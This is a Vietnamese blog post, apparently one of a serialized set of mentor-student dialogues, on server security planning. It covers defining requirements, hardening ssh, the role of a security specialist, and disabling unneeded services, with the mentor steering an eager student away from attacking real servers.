&lt;br /&gt;&lt;span class="postbody"&gt;"Ừm... anh nghĩ  em nhận xét như thế cũng đúng. Bước chuẩn bị trong ngành lập trình, trong việc  viết software là một bước cực kỳ quan trọng. Thiếu nó, software sẽ thiếu chất  lượng, sẽ nhiều lỗi, sẽ khó mở rộng, sẽ thiếu hiệu xuất. Nó cực kỳ quan trọng là  vì quá trình tạo ra một software hoàn chỉnh rất phức tạp. Thiếu thiết kế một  cách cẩn thận, khi đi sâu vào công trình và không may khám phá ra mình đã đi sai  hướng thì đó là một sự đổ vỡ, thiệt hại lớn lao. Nếu mình đặt việc thiết kế một  hệ thống làm việc với tinh thần tương tự như viết software thì... quả thật điều  mình bàn ở đây có 'hơi hướm' software engineering. Em cứ thử so sánh việc xây  một ngôi nhà với việc xây dựng một hệ thống máy tính xem; chúng có rất nhiều  điểm tương đồng. Em không thể cứ nhắm mắt mà thi công rồi sau đó mới thấy mình  muốn để cửa sổ chỗ này, để cửa chính chỗ kia... nhưng nhà đã xây nửa chừng rồi.  Em bị lâm vào tình trạng rất kẹt. Phải vậy không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' tiếp tục:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ nhất  định rồi. Còn chuyện 'nhu cầu cụ thể' được anh đề cập hồi nãy là sao anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hỏi ngược lại 'docco':&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, giống như em đang phỏng vấn anh vậy? ;-)  Vậy em hiểu thế nào là 'nhu cầu cụ thể'?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' ấp úng rồi rụt rè đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ... ùm.... à.... em nghĩ.... nhu cầu cụ thể là nhu cầu cụ thể  chớ là gì nữa anh? Ví dụ em cần tạo dịch vụ web, thì đó chính là nhu cầu cụ thể  chớ còn gì nữa? Hay là anh ghẹo em nên mới hỏi câu này?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười phá lên, rồi trả lời 'docco':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, em có thấy anh ghẹo em lần nào chưa? :). Không, anh hỏi  câu này là hỏi một cách nghiêm túc đó. Tất nhiên em cần tạo dịch vụ web thì đó  là nhu cầu của em, nhưng nói nó là cụ thể thì nó chẳng cụ thể tí nào."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cười trừ:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Khì khì, em chịu thua đó. Anh giải thích dùm em tí đi?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi chậm rãi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Giả sử như em hỏi anh, 'nhu cầu cụ thể của anh là gì nếu như anh  cần tạo dịch vụ web'? thì anh sẽ chuẩn bị nhiều thứ trước khi trả lời cho em.  Anh cần xác định rõ: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- website này dự phỏng sẽ  có nội dung thuộc chuyên ngành gì? &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dịch vụ web  ấy phục vụ ai? &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- độc giả của trang web đa số là  giới nào? &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dự tưởng sẽ có bao nhiêu người viếng  website đó? &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- kinh phí dự trù là bao nhiêu?  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- mức độ quan trọng của website này thế nào?  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- nếu nó bị 'chết' ngắn hạn thì chuyện gì xảy  ra? &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- nếu nó bị 'chết' dài hạn thì chuyện gì xảy  ra? &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;sau đó mới đào xới đến vấn đề kỹ thuật  làm sao để thoả mãn những điều đặt ra. Rồi từ đó mới có một phương án cụ thể sẽ  khai triển thế nào, quy chế ra sao, cấu hình cụ thể sẽ ra làm sao, cách xử lý  trong những trường hợp điển hình có thể xảy ra với dịch vụ mình tạo sẽ là  gì..... và tất nhiên là bảo mật sẽ là một yếu tố quan trọng trong mỗi câu trả  lời được đưa ra." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' rú lên:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ôi trời! Anh thật sự phải chuẩn bị những thứ  như thế sao anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời một cách  ngắn gọn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hẳn nhiên rồi!"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' hỏi tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy việc xác định nhu cầu có liên quan trực tiếp đến vấn đề bảo  mật ra sao anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Một khi đã xác định cụ thể nhu cầu, em có thể  hình thành một kế hoạch khai triển, một cái sườn rồi mới thiết lập từng chi tiết  cho cái sườn này. Làm như thế em có thể tránh được những thiếu sót hay dư thừa  trong khi cài đặt, điều chỉnh. Bởi thế, lỗi bảo mật sẽ giảm thiểu đáng kể. Ví  dụ, sếp của em muốn em thiết lập dịch vụ ssh trên máy chủ nào đó. Nếu em xác  định được dịch vụ này sẽ cho những ai dùng, bao nhiêu người dùng, truy cập từ  đâu thì hồ sơ cấu hình cho nó sẽ trở nên xác thực và vừa đủ. &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- Nếu dịch vụ ssh này giới hạn cho một nhóm người dùng rất nhỏ và  chỉ truy cập trong nội mạng, em có thể dễ dàng áp đặt cơ chế xác thực người dùng  và áp đặt cụ thể những IP nào được quyền truy cập đến dịch vụ này.  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- Nếu dịch vụ này có biên độ rộng lớn hơn thì em  phải ấn định cơ chế xác thực người dùng nào là tiện dụng và bảo đảm nhất, thay  vì dùng password-based authentication, họ dùng key-based authentication key để  xác thực chẳng hạn. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Càng nắm cụ thể nhu cầu,  càng có thể hình thành một cấu hình chi tiết. Càng hình thành một cấu hình chi  tiết, càng giảm thiểu thiếu sót. Càng giảm thiểu thiếu sót, tính bảo mật càng  cao. Đây là giây chuyền logic đi từ 'nhu cầu' đến 'bảo mật'."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' xuýt xoa:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Quả thật bây giờ em mới biết được thêm nhiều cái mới mẻ. Những  vấn đề này có phải là kiến thức trong ngành IT không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nó không  phải là kiến thức kỹ thuật theo kiểu IT = 'gõ lệnh' nhưng nó được dùng trong IT,  dùng trong việc quản lý các công trình IT. Ngay cả em muốn tự viết software hay  thực hiện điều gì đó, em cũng cần đến nó. Như anh đã nói ở trên, thiếu chuẩn bị  thì kết quả không mỹ mãn như ý muốn là vậy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hoá ra  bảo mật không dễ dàng chút nào. Anh chỉ nói sơ qua em đã thấy nó dính líu đến  quá nhiều vấn đề khác nhau chớ không đơn giản dừng lại ở kỹ năng cài đặt và điều  chỉnh. Em nghĩ việc hình thành kế hoạch, quản lý công trình là việc của đám quản  lý công trình mà anh? Mình là dân kỹ thuật thì việc gì phải lo đến những thứ  này?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Quả thật 'docco' này sắc sảo lắm.  Cu cậu không bỏ qua một chi tiết nhỏ nào. Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nói trên mặt lý thuyết thì việc lên kế hoạch và quản lý công  trình là chuyện của đám project manager. Tuy nhiên, trên thực tế anh hiếm khi  thấy có tay project manager nào có đủ khả năng kỹ thuật để hình thành một kế  hoạch cho đẹp cả. Trên thực tế anh toàn thấy những tay này quan ngại đến yếu tố  thời gian là chính. Nếu em trông chờ vào họ về việc khai triển kỹ thuật thì em  sẽ bị 'dậm chân tại chỗ' bởi vì làm sao họ nắm được chi tiết kỹ thuật mà lên kế  hoạch? Hoạ may em cung cấp mọi thông tin kỹ thuật cho họ như kiểu 'tư vấn kỹ  thuật' và họ kết hợp lại để lên chương trình. Còn không thì công trình chẳng đi  tới đâu cả :). Họ đâu cần biết sshd_config hay httpd.conf cần có những gì? Họ  càng không biết những dịch vụ này liên quan thế nào để ngoại mạng, nội mạng,  firewall và các cơ chế bảo mật khác." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Lần  này 'docco' thật sự choáng. Cu cậu gởi cho tôi các emotion icon biểu lộ sự buồn  bã và phát biểu như sau:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;" :( , càng đi vào  sâu em càng thấy kinh khủng. Hình như những điều anh nói là dành cho những tay  chuyên viên bảo mật hay sao đó chớ system admin bình thường làm gì mà cáng đáng  nhiều thứ quá vậy anh? Có quá nhiều khái niệm mới mẻ mà em chỉ nghe đây là lần  đầu. Vậy em phải học ở đâu, đọc những sách nào để nắm những chi tiết anh đưa ra  vậy anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hiểu 'docco' đang cảm thấy  thế nào nên nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh hiểu cảm giác của  em. Em nghĩ rằng những vấn đề anh đưa ra chỉ dành cho 'chuyên viên bảo mật'  sao?. Bộ em không muốn làm chuyên viên bảo mật hay sao? Cho nên, em cần biết  những điều này là điều cần thiết và hợp lý. Theo anh, người làm công tác bảo mật  khác hẳn với một system admin hoặc network admin bình thường. system admin hoặc  network admin dừng lại ở mức độ: cài đặt, thiết lập dịch vụ và một phần nào đó  khá hạn hẹp liên quan đến việc kiện toàn bảo mật theo đề nghị của 'chuyên viên  bảo mật'. Họ chỉ dừng lại ở mức độ 'làm sao cho dịch vụ chạy ổn định'. Trong khi  đó, chức năng của 'chuyên viên bảo mật' rộng hơn và sâu hơn. Chuyên viên bảo mật  là người xác định những dịch vụ nào nên chạy, thẩm định những dịch vụ đưọc chạy  phải ở mức an toàn và tiện dụng như thế nào. Để có thể xác định và thẩm định như  thế, họ là người nắm trọn bộ mô hình mạng từ thấp đến cao. Nếu ai cho rằng,  chuyên viên bảo mật thì chỉ biết firewall, IDS, proxy.... thì theo anh, đó là  một sự ngộ nhận" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' lên tiếng:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy giới hạn trách nhiệm và chức năng của  'chuyên viên bảo mật' nằm ở dâu anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh nghĩ rằng, giới hạn trách nhiệm và  chức năng thực sự của 'chuyên viên bảo mật' nằm ở mọi phương diện xây dựng và  bảo trì cho một hệ thống. Từ lúc có nhu cầu xây dựng dịch vụ cho đến lúc đã hình  thành dịch vụ và kéo dài suốt quá trình hoạt động của dịch vụ đều có 'chuyên  viên bảo mật' nhúng tay vào. Ngay cả khi dịch vụ này biến chuyển, nâng cấp và mở  rộng sau này cũng cần phải có sự tham gia của 'chuyên viên bảo mật'. Anh nghĩ  rằng chuyên viên bảo mật không dính đến chuyện quyết định bỏ ra bao nhiêu kinh  phí để hình thành hệ thống mà thôi. Tuy nhiên, chuyên viên bảo mật cũng có ít  nhiều ảnh hưởng đến con số kinh phí. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Tất  nhiên những điều anh đưa ra ở đây là những điều chỉ có các tổ chức có lớp lang  mới thực hiện. Những tổ chức thiếu sắp xếp thì đây là một khái niệm lạ lẫm và  đôi khi còn bị xem là 'phí công sức, phí thời gian'." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhìn  một cách tổng quát thì thấy, nếu một tay chuyên viên bảo mật dùng kiến thức của  mình để thâm nhập thì nguy hiểm biết chừng nào anh nhỉ?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, hỏi lại:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Lý do  nào làm em nghĩ như thế vậy?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco'  ngần ngừ rồi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ùm... à... dạ... em  nghĩ là một người hiểu biết thấu đáo cấu trúc các hệ thống, nắm rõ các ngóc  ngách cấu hình, tường tận đường đi nước bước thì ắt phải thâm nhập rất dễ dàng.  Không biết em nghĩ thế có đúng không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tổng quát  mà nói thì em nhận xét như thế là đúng. Tuy nhiên, trên thực tế các cấu trúc hệ  thống và các tập tin cấu hình rất đa dạng. Một chuyên viên bảo mật có thể thẩm  định dễ dàng hơn và chính xác hơn vì nắm vững một số nguyên tắc nhất định. Bởi  thế khả năng và kết quả thâm nhập của hắn cao hơn một người không có cùng mức độ  kiến thức như hắn. Tuy nhiên, quá trình thẩm định vẫn phải mất thời gian. Em  nhận xét như thế có nghĩa là em công nhận 'biết bảo mật trước rồi mới thâm  nhập'?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' ý kiến:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, anh trêu em hoài. Lần trước em đã công  nhận chuyện này rồi mà. Ngay từ lúc anh nêu ra trường hợp ai đó 'thâm nhập' được  vào một máy chủ nhờ phương tiện hay 'công thức' nào đó xong rồi ngồi... ngó vì  không biết làm gì nữa, lúc ấy em đã công nhận quan điểm: phải có kiến thức thật  sự mới có thể thâm nhập một cách đúng nghĩa được." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy thì tốt :)"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' hỏi thêm:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Khi nào tiện, anh cho em hỏi thêm về các kỹ thuật nhận định  "reconnaissance" nha anh? Em muốn biết kỹ thuật này đòi hỏi những gì? quá trình  thực hiện ra sao và phân tích kết quả tìm được như thế nào. Em nghĩ để kiện toàn  bảo mật, việc tự thẩm định hệ thống mình tạo ra bằng "reconnaissance" không thể  thiếu được." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh sẵn sàng thôi. Tuy nhiên, chắc để lần tới  đi em nha? Anh em mình 'đà khía' hơi lâu rồi đó. Anh phải chuẩn bị vài thứ để  ngày mai còn đi làm nữa. Em nhớ lưu lại nội dung 'lai rai' của anh em mình hôm  nay để Hưng và Khoa đọc với nha? Còn chuyện cấu hình 'con' server của bọn em tới  đâu rồi?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' nhanh nhẩu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi anh à, em nghĩ là bọn em cần nhiều thời  gian cho chuyện này hơn dự tính. Chưa hình thành được nhu cầu cụ thể, chưa cài  đặt cho ổn thì làm sao nói đến chuyện bảo mật hay thâm nhập nó được anh? Em  không biết thằng Khoa với thằng Hưng nghĩ sao chớ riêng em thì em nghĩ có lẽ nên  thong thả." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười phá lên:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà, &lt;i&gt;"chưa hình thành được nhu cầu cụ  thể"&lt;/i&gt;? Hì hì, em ứng dụng ngay vậy? :). Em còn cần hỏi câu hỏi đầu tiên  không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' ngượng ngịu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh cứ diễu em mãi. Học phải đi đôi với hành mà  anh. Ngẫm nghĩ em thấy quả thật nếu không biết thiết lập server để làm gì, để  đáp ứng cái gì thì không thể tạo nên cấu hình cho nó được. Nếu thế thì khoan  hẵng nói chuyện bảo mật cho nó. Hì, anh vẫn nhớ câu hỏi đầu hả? Tất nhiên là em  không cần phải hỏi câu hỏi đầu tiên nữa anh :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi rất vui khi nghe 'docco' tổng kết như thế. Tôi bảo:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tốt lắm. Em nhận ra được điều này thì có nghĩa  lần này anh em mình nói chuyện không chỉ 'lai rai' mà có kết quả hẳn hòi: nhu  cầu cụ thể là một yếu tố quan trọng để hình thành việc bảo mật. Nếu nhìn từ phía  'thâm nhập', anh tin rằng em cũng thấy được mặt trái của nó như thế nào rồi hả?  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Thôi, anh phải đi đây Duy. Anh em mình gặp  lại sau hả? Chào em." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' chào tạm  biệt:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em sẽ thông báo tình hình lại với hai  đứa kia. Chào anh." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;15/8/2005  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;còn&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span class="gensmall"&gt;ma châm&lt;/span&gt;&lt;/p&gt;&lt;!--        &lt;tr&gt;          &lt;/tr&gt; --&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-6</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-6.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:07:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-6026913727342330326</guid><description>&lt;span style="font-family: arial; font-weight: bold;"&gt;9. "Hai mặt" của vấn đề - cơ chế làm việc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Không ngoài dự phỏng, tôi liên tục nhận mail từ bộ ba Khoa, Duy, Hưng. Một lần nữa, tôi cố trả lời hầu hết các e-mail từ bộ ba này bằng thông điệp ngắn gọn: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em nghĩ điều em thắc mắc là 'what' hay là 'why'? Anh nghĩ nó là 'what' chớ chẳng phải là 'why' cho nên em nên xem sách đi rồi hỏi anh cái 'why' :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tuy vậy, bộ ba này không hề mệt mỏi trong chuyện hỏi, hỏi và hỏi. Trong tuần này, tôi nhận được e-mail từ "haothu" Khoa có một phần nội dung như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Anh thân mến, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Rốt cuộc bọn em đã đi đến quyết định tạo một máy chủ gồm có các dịch vụ: web, mail và ssh cho remote control bởi vì thật ra những dịch vụ râu ria khác không cần thiết. Bọn em chia 'công tác' ra thành ba phần: Hưng lo việc thiết kế và cài dịch vụ web, em thì lo dịch vụ mail còn Duy thì lo dịch vụ secure shell. Tuy nhiên, khi ba dịch vụ này hoàn thành, bọn em phải cùng điều chỉnh chi tiết cho mỗi dịch vụ. Cái khó là bọn em (em và Duy) chẳng có con server nào để vọc cho nên phải chạy qua nhà thằng Hưng thường xuyên. Thời gian thì rất hạn hẹp nên sau khi hỏi thăm ý kiến của anh nhiều lần, bọn em cũng chưa hoàn tất cái gì cho ra đầu đũa. Em có vài điều cần hỏi anh, mong anh trả lời dùm em (nếu rảnh): &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;1. nếu bọn em chỉ dùng ba dịch vụ web, mail và ssh, làm cách nào mình có thể tắt hết các dịch vụ khác không cần thiết hở anh? hay là dùng firewall để che hết những dịch vụ không cần thiết và không phải lo những dịch vụ không cần thiết kia? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;2. sau khi ngâm cứu, bọn em hiểu rằng nếu dịch vụ web chỉ phục vụ dữ liệu tĩnh (static content) thì cơ hội có thể thâm nhập và tấn công dịch vụ web thành công sẽ rất thấp. Bởi vậy bọn em nghĩ đến chuyện tạo dịch vụ web có phục vụ dữ liệu động (dynamic content). Nếu thế, phải dính đến php, CSDL (mysql hay cái gì đó) mà bọn em chẳng đứa nào rành mấy cái món này. Anh nghĩ bọn em nên dành thời gian học thêm về chuyện thiết lập server chạy php, thiết lập mysql không anh? Nếu vậy thì biết chừng nào bọn em xong cái server để mà... quậy bây giờ? :( &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;3. nếu câu hỏi thứ 2 không có cách giải quyết liền, em đề nghị thế này: hay là mấy anh em mình chọn một máy chủ nào đó có sẵn trên web rồi cứ dùng nó mà... khai thác. Được không anh? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Mong anh sớm hồi âm bọn em. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Thân, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Khoa." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Đọc e-mail này của "haothu" Khoa tôi không hỏi nghĩ ngợi để tìm cách trả lời cho đúng mức. Hiển nhiên "haothu" Khoa nhà ta rất hăm hở với chuyện thâm nhập và tấn công nên mới đặt vấn đề như trên. Phải sau hai ngày và sau nhiều lần tranh thủ khi rảnh tôi mới hoàn thành mail trả lời cho Khoa như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Khoa thân mến, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Anh mất hai ngày mới có thể trả lời mail cho em. Trước tiên, anh có nhận xét là em vẫn chưa (muốn) nhìn vấn đề từ hai phía mà em chỉ thích chuyên chú theo hướng tấn công. Nếu em chưa có thể thiết lập, cài đặt một máy chủ có các dịch vụ nào đó ở mức đạt thì em không thể tấn công và khai thác một máy chủ khác cũng được thiết lập ở mức đạt này hoặc hơn. Anh hy vọng sau khi anh em mình trao đổi sâu hơn vào từng vấn đề, em sẽ hiểu ý anh. Bây giờ anh trả lời các câu hỏi của em tuần tự như sau: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;1. trên nguyên tắc, nếu em dùng một dạng firewall nào đó và cản lọc trọn bộ các dịch vụ trên máy chủ, ngoại trừ các dịch vụ em cho phép thì các truy cập từ bên ngoài đến những dịch vụ đã bị cản lọc không thể xảy ra được (nếu như firewall của em chặt chẽ). Tuy nhiên, em nên xét lại các trường hợp có thể xảy ra như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- chuyện gì xảy ra nếu firewall của em bị hổng chỗ nào đó và nó cho phép truy cập đến vài dịch vụ 'chết người'? &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- chuyện gì xảy ra nếu tài nguyên của máy chủ có giới hạn nhất định nhưng lại tiêu tốn cho các dịch vụ không cần thiết? Hãy nhìn nhận vấn đề ở khía cạnh em đang thiết kế một máy chủ cung cấp dịch vụ thật sự và có hàng ngàn người truy cập nó xem? :) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Bởi thế, ý kiến cá nhân của anh là: tắt bỏ mọi dịch vụ không cần thiết cho dù em có firewall bảo vệ và cho dù firewall của em hoàn toàn vững. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Để tắt bỏ các dịch vụ trên máy thì có 2 phần chính em cần xem xét: dịch vụ được tạo ra từ inetd/xinetd và dịch vụ tạo ra từ run level scripts (trong rc.d). Nếu em dùng RedHat hoặc các distro dựa RedHat thì em có thể dùng tiện ích chkconfig để kiểm tra xem có những dịch vụ nào đang hoạt động trên máy. Nếu em không dùng RedHat thì điều em cần tìm hiểu chính là inetd/xinetd và dịch vụ tạo ra từ run level scripts. Tại sao em nên cần tìm hiểu những cái này? Lý do: một khi đã hiểu rõ cơ chế khởi tạo dịch vụ của một *nix server, em sẽ bắt đầu nắm được điểm mạnh của nó ở đâu, điểm yếu của nó ở đâu. Nếu em có cái nhìn thiên về hướng "exploit" thì tự nhiên em sẽ thấy chúng dễ (hay khó) bị khai thác như thế nào nếu như điều chỉnh không kỹ (hoặc kỹ). inetd là gì?, xinetd là gì?, run level là gì?, initialization / startup scripts là gì? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;2. Bọn em đã xác định được 'static web' ít bị khai thác hơn 'dynamic web' thì đã hình thành một cái nền khá tốt để tạo dịch vụ web rồi đó. Tất nhiên muốn nó 'động' thì em phải làm cho nó 'động'. Không nhất thiết phải dùng php mà bất cứ cái gì (cgi, asp, jsp...) đều được cả. Bọn em sở trường 'món' nào thì cứ dùng 'món' đó. Cái chính mình cần khai phá ở đây là thể trạng 'động' của một web server và nó dẫn đến những lỗ hổng gì chớ không cần phải đi sâu vào từng công nghệ để phân tích và ứng dụng chúng. Nếu bọn em chưa hề có sở trường 'món' nào thì phải chọn lấy một 'món' và bắt đầu học + khai triển. Em có thể phàn nàn là: học như thế biết chừng nào xong và anh có thể trả lời là: chừng nào em không biết php làm việc ra sao, chừng ấy em không thể khai thác php. Câu này dành cho mọi công nghệ em muốn dùng. &lt;/span&gt;&lt;br 